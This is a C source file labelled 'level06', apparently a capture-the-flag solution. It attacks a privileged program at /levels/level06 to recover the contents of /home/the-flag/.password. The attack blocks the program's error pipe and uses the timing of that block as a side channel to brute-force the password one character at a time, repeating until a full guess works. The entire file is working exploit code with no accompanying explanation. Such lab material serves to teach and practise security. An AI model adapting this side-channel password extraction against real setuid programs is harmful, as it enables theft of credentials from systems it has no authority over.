level06

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/select.h>
#include <fcntl.h>

int guess(char* guess, int full) {
  int err[2], out[2];
  pipe(err);
  pipe2(out, O_NONBLOCK);

  int child = fork();
  if (!child) {
    close(out[0]);
    close(err[0]);

    dup2(out[1], 1);
    dup2(err[1], 2);

    if (!full) {
      int length = strlen(guess);

      char buffer[65536];
      memset(buffer, (int) 0, 65536);
      write(err[1], buffer, 65536 - 33 - length);

      char padded_guess[1024];
      strcpy(padded_guess, guess);
      padded_guess[length] = '?';
      padded_guess[length + 1] = 0;
      guess = padded_guess;
    }

    execl("/levels/level06", "./level06", "/home/the-flag/.password", guess, NULL);
    exit(1);
  } else {
    if (!full) {
      fd_set my_fd_set;
      struct timeval timeout;
      char buffer[256];

      FD_ZERO(&my_fd_set);
      FD_SET(err[1], &my_fd_set);
      timeout.tv_sec  = 0;
      timeout.tv_usec = 0;

      for (;;) {
        int result = select(err[1] + 1, NULL, &my_fd_set, NULL, &timeout);
        if (result == 0) {
          break;
        }
        usleep(100);
      }
    }

    // heuristic of how long to wait for echo to have been called
    // 3 times to be extra safe
    system("nice -n 20 /bin/echo test > /dev/null");
    system("nice -n 20 /bin/echo test > /dev/null");
    system("nice -n 20 /bin/echo test > /dev/null");

    int r = read(out[0], buffer, 1);

    close(out[0]);
    close(out[1]);
    close(err[0]);
    close(err[1]);

    kill(child, 9);
    wait(NULL);
    return r == -1;
  }
}

int main(int argc, char **argv)
{
  char password[1024];
  bzero(password, 1024);

  char* valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  int valid_length = strlen(valid_chars);

  for (int i = 0; i < 1000; i++) {
    for (int j = 0; j < valid_length; j++) {
      password[i] = valid_chars[j];
      printf("%c", valid_chars[j]);
      fflush(stdout);
      if (guess(password, 0)) {
        if (guess(password, 1)) {
          printf("\n");
          exit(0);
        }
        break;
      }
      printf("%c", 8);
    }
  }
  printf("\n");
  exit(1);
}